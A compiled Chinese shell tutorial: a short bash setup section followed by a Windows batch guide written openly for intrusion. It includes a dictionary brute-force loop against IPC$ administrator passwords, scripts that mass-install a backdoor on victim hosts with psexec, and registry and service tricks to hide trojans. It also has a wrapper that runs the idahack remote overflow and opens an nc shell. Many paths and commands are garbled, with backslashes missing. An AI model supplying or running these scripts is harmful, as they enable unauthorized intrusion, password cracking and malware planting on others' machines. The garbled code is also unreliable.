  首先需要设置的是系统的预定义搜索路径。与MS-DOS不同,Linux只搜索在PATH环境变
量里面明确地设置的路径,它并不执行对当前目录的搜索。因此,如果要执行当前目录
里的程序,必须明确地用./指定:
  
  ./test
  
  设置路径的命令在各种shell里是不同的,在bash里,你需要的是定义一个PATH变量,
然后把它输出到环境变量里面,这是通过export命令实现的:
  
   PATH="/usr/bin:/bin";export PATH
  
  用分号连结起来的两个命令连续地被执行,在export后面的PATH不用加$,设置路径时
不同的目录之间用分号分开。当然,你也可以用两条命令来处理:
  
  PATH="/usr/bin:/bin"
  
  export PATH
  
  另外一个很多人喜欢定制的环境变量是提示符,bash用PS1和PS2来设置提示符,这表
示shell的一级提示符和二级提示符。例如,下面的命令把提示符设置成为MS-DOS方式:
  
  PS1="\w>";export PS1
  
  \w代表当前工作目录,类似的特殊字符还有
  
  \#       显示当前命令的命令编号。
  
  \$       显示$符作为提示符,如果用户是root的话,则显示#号。
  
  \\       显示反斜杠。
  
  \d       显示当前日期。
  
  \h       显示主机名。
  
  \n       打印新行。
  
  \nnn     显示nnn的八进制值。
  
  \s       显示当前运行的shell的名字。
  
  \t       显示当前时间。
  
  \u       显示当前用户的用户名。
  
  \W       显示当前工作目录的名字。
  
  \w       显示当前工作目录的路径。
  
  另外一种十分有用的技术是别名。别名用alias命令实现,例如
  
  alias ll="ls -l"
  
  以后输入ll就等效于输入ls –l。
  
  有几个缺省的别名,如果你的系统没有设置,强烈建议你加上,即
  
  alias rm="rm –i"
  
  alias cp="cp –r"
  
  alias mv="mv –r"
  
  这几条命令可以提供对错误操作的一种预防方式。
  
  你可以对自己的shell加上复杂的定义,但是当你退出系统时,这些定义就消失了,为
了使这些定制信息自动可用,可以有多种处理方法。最简单的是在你的宿主目录(/etc
/passwd里面定义的你的主目录)中建立一个.bashrc或者.bash_profile文件(两个名字
都可以),放入你想要定制的内容。以后bash开始执行时会自动去调用其中的内容。如
果你用的是其他的某种shell,也有相应的配置文件,比如csh的配置文件是.cshrc。注
意点号开始的文件名是隐含文件,只有用ls –a命令才能看到。如果你想要让所有用户
都能自动使用这些东西,为他们建立一组合适的配置文件,然后拷贝到/etc/skel目录。
  












第二部份、WINDOWS SHELL介绍


简明批处理教程
日期:星期三 2003 07 09 作者: 人气: 8000 查看:[大字体 中字体小字体]  



前言

最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \%1 c:winntsystem32windrv32.exe
@psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:51  .
2002-05-14 23:51  ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.

C:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55  .
2002-05-14 23:55  ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:
C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample:
@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:
time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

sample1:
echo hello world>c:hello.txt (stupid example?)

sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.& 、
>& 将一个句柄的输出写入到另一个句柄的输入中。
这些并不常用,也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。

1.创建
创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:\WINNT\system32\door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”


2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理  








win2k下的批处理BAT文件运用
日期:星期三 2004 03 10 作者: 人气: 1478 查看:[大字体 中字体小字体]  



1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47  Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:\>cd pro*
C:\Program Files>

C:\>
C:\>cd "Program Files"
C:\Program Files>


######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ >

You can use most characters as variable values, including white space. If you use the special characters , |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim"  nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( >
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。


######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

tart
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%\_tmp
@find "good luck " %temp%\_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find "good luck " %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
